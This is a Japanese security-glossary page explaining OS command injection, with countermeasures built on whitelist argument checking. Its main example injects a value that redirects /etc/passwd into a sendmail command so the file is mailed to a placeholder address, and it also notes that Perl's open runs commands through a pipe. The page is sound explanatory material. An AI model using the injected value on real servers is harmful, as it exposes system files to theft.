[サイバー攻撃大辞典 トップへ]

OSコマンドインジェクション


スポンサー リンク

説明


プログラムやWebサーバなどの不備を悪用し、サーバ側でOSのコマンドを実行する


攻撃例


(1)
以下のようにサーバ側でユーザの入力したメールアドレスに対してメールを送るコマンドを実行する仕組みがあるとする。
sendmail <ユーザの入力したメールアドレス>

<ユーザの入力したメールアドレス>に"mailaddr@xxxxxxx.com < /etc/passwd と入力すると結果的に

sendmail mailaddr@xxxxxxx.com < /etc/passwd となりpasswdファイルがメール送信されてしまう可能性がある。

(2)Perl のopen 関数は、引数のファイルパスに | (パイプライン)を指定するとOS コマンドが実行可能。(ファイル出力をコマンドに渡す、あるいはコマンドの出力を受け取る処理)


対策


・シェル起動が可能な言語は使用しない。
・シェル起動が可能な言語を使用する場合は、引数をホワイトリスト方式でチェックし、想定外の引数はすべて拒否する。(ブラックリスト方式では漏れが発生する)


スポンサー リンク






[サイバー攻撃大辞典 トップへ]


本サイト内掲載されている情報は、誰もその正当性は保証しません。独自の調査により判明した事項を記載しており、内容に誤りがある可能性があります。
内容により発生したいかなる損害は誰も補償しません。自己責任で参考として閲覧してください。
本サイト内掲載されている情報は、著作権法により保護されています。いかなる場合でも権利者の許可なくコピー、配布することはできません。 このページはリンクフリーです。(このページへの直接リンクも可能です。) Copyright(c) securitychecklist.net 2917